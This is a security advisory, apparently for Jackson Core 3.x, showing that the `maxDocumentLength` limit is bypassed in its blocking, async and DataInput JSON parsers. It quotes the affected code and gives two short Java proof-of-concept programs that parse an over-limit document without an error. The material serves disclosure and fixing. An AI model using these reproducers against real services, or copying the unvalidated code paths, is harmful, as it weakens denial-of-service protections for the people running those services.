Jackson Core: Document length constraint bypass in blocking, async, and DataInput parsers

Summary

## Summary Jackson Core 3.x does not consistently enforce `StreamReadConstraints.maxDocumentLength`. Oversized JSON documents can be accepted without a `StreamConstraintsException` in multiple parser entry points, which allows configured size limits to be bypassed and weakens denial-of-service protections. ## Details Three code paths where `maxDocumentLength` is not fully enforced: ### 1. Blocking parsers skip validation of the final in-memory buffer Blocking parsers validate only previously processed buffers, not the final in-memory buffer: - `ReaderBasedJsonParser.java:255` - `UTF8StreamJsonParser.java:208` Relevant code: ```java _currInputProcessed += bufSize; _streamReadConstraints.validateDocumentLength(_currInputProcessed); ``` This means the check occurs only when a completed buffer is rolled over. If an oversized document is fully contained in the final buffer, parsing can complete without any document-length exception. ### 2. Async parsers skip validation of the final chunk on end-of-input Async parsers validate previously processed chunks, but do not validate the final chunk on end-of-input: - `NonBlockingByteArrayJsonParser.java:49` - `NonBlockingByteBufferJsonParser.java:57` - `NonBlockingUtf8JsonParserBase.java:75` Relevant code: ```java _currInputProcessed += _origBufferLen; _streamReadConstraints.validateDocumentLength(_currInputProcessed); public void endOfInput() { _endOfInput = true; } ``` `endOfInput()` marks EOF but does not perform a final `validateDocumentLength(...)` call, so an oversized last chunk is accepted. ### 3. DataInput parser path does not enforce `maxDocumentLength` at all - `JsonFactory.java:457` Relevant construction path: ```java int firstByte = ByteSourceJsonBootstrapper.skipUTF8BOM(input); return new UTF8DataInputJsonParser(readCtxt, ioCtxt, readCtxt.getStreamReadFeatures(_streamReadFeatures), readCtxt.getFormatReadFeatures(_formatReadFeatures), input, can, firstByte); ``` `UTF8DataInputJsonParser` does not call `StreamReadConstraints.validateDocumentLength(...)`, so `maxDocumentLength` is effectively disabled for `createParser(..., DataInput)` users. > **Note:** This issue appears distinct from the recently published nesting-depth and number-length constraint advisories because it affects document-length enforcement. ## PoC ### Async path reproducer ```java import java.nio.charset.StandardCharsets; import tools.jackson.core.JsonParser; import tools.jackson.core.ObjectReadContext; import tools.jackson.core.StreamReadConstraints; import tools.jackson.core.async.ByteArrayFeeder; import tools.jackson.core.json.JsonFactory; public class Poc { public static void main(String[] args) throws Exception { JsonFactory factory = JsonFactory.builder() .streamReadConstraints(StreamReadConstraints.builder() .maxDocumentLength(10L) .build()) .build(); byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8); try (JsonParser p = factory.createNonBlockingByteArrayParser(ObjectReadContext.empty())) { ByteArrayFeeder feeder = (ByteArrayFeeder) p.nonBlockingInputFeeder(); feeder.feedInput(doc, 0, doc.length); feeder.endOfInput(); while (p.nextToken() != null) { } } System.out.println("Parsed successfully"); } } ``` - **Expected result:** Parsing should fail because the configured document-length limit is 10, while the input is longer than 10 bytes. - **Actual result:** The document is accepted and parsing completes. ### Blocking path reproducer ```java import java.io.ByteArrayInputStream; import java.nio.charset.StandardCharsets; import tools.jackson.core.JsonParser; import tools.jackson.core.StreamReadConstraints; import tools.jackson.core.json.JsonFactory; public class Poc2 { public static void main(String[] args) throws Exception { JsonFactory factory = JsonFactory.builder() .streamReadConstraints(StreamReadConstraints.builder() .maxDocumentLength(10L) .build()) .build(); byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8); try (JsonParser p = factory.createParser(new ByteArrayInputStream(doc))) { while (p.nextToken() != null) { } } System.out.println("Parsed successfully"); } } ``` ## Impact Applications that rely on `maxDocumentLength` as a safety control for untrusted JSON can accept oversized inputs without error. In network-facing services this weakens an explicit denial-of-service protection and can increase CPU and memory consumption by allowing larger-than-configured request bodies to be processed.